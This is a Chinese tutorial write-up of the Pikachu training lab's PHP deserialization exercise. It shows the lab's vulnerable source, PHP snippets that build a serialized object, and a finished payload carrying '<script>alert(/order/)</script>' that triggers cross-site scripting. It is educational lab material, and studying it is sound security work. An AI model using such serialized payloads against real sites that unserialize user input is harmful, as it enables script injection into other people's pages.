pikachu_php反序列化

pikachu_php反序列化

源代码

php 复制代码
class S{
    var $test = "pikachu";
    function __construct(){
        echo $this->test;
    }
}


//O:1:"S":1:{s:4:"test";s:29:"<script>alert('xss')</script>";}
$html='';
if(isset($_POST['o'])){
    $s = $_POST['o'];
    if(!@$unser = unserialize($s)){
        $html.="<p>大兄弟,来点劲爆点儿的!</p>";
    }else{
        $html.="<p>{$unser->test}</p>";
    }

}

源码可见,需要执行到test,那么就需要执行construct函数,该魔法函数创建对象时就会被执行,执行到else分支之后输入值的反序列化就会当做值给test调用

过程

尝试写一个xss攻击,将xss攻击序列化提交

php 复制代码
<?php
class Test{
	public $a="<script>alert(/order/)</script>";
}
	$a=new Test();
	var_dump(serialize($a));
?>

查看结果

发现xss标签部分被执行了,然后没有了

因此需要在序列化的时候替换掉xss攻击代码中的一部分,让其无法执行,生成后再替换回来即可

此处将括号换成x,并且构造成源码一样的参数名

php 复制代码
<?php
class S{
    var $test = "xscript>alert(/order/)x/script>";
}
    $s=new S(); 
    print_r(serialize($s));
?>

得到结果然后修改尖括号

复制代码
O:1:"S":1:{s:4:"test";s:31:"xscript>alert(/order/)x/script>";}

O:1:"S":1:{s:4:"test";s:31:"<script>alert(/order/)</script>";}

拿去执行,成功执行xss

相关推荐
fanjinhong_85215 分钟前
网络安全防御核心原则与实践指南
网络·安全·web安全
矛取矛求14 分钟前
C++ 标准库参考手册深度解析
java·开发语言·c++
Gracker18 分钟前
Android Weekly #202513
android
٩( 'ω' )و26023 分钟前
stl_list的模拟实现
开发语言·c++·list
麻芝汤圆40 分钟前
MapReduce 的广泛应用:从数据处理到智能决策
java·开发语言·前端·hadoop·后端·servlet·mapreduce
chuangfumao43 分钟前
专家解读|《网络安全法》再次征求意见,增强网络立法协同
网络·安全·web安全
珊瑚里的鱼1 小时前
第五讲(下)| string类的模拟实现
开发语言·c++·笔记·程序人生·算法·visualstudio·visual studio
哈哈哈哈哈哈哈哈哈...........1 小时前
【java】在 Java 中,获取一个类的`Class`对象有多种方式
java·开发语言·python
@小白向前冲1 小时前
python 重要易忘 语言基础
开发语言·python
蹦蹦跳跳真可爱5891 小时前
Python----计算机视觉处理(Opencv:道路检测之车道线拟合)
开发语言·人工智能·python·opencv·计算机视觉